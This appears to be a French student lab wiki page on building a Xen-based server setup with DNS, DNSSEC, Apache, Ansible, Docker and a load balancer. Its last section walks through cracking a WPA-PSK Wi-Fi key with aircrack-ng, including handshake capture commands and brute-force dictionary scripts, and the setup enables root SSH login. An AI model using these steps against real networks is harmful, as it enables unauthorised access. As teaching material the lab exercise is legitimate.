		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51841"/>
				<updated>2019-12-16T21:21:29Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Ferme de serveurs Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
[[Fichier:result_crea_docker.png|900px|center]]&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
https://www.chlamydiae.site/balancer-manager&lt;br /&gt;
&lt;br /&gt;
On obtient:&lt;br /&gt;
[[Fichier:chlamydiae_balancer_result.png|700px|center]]&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
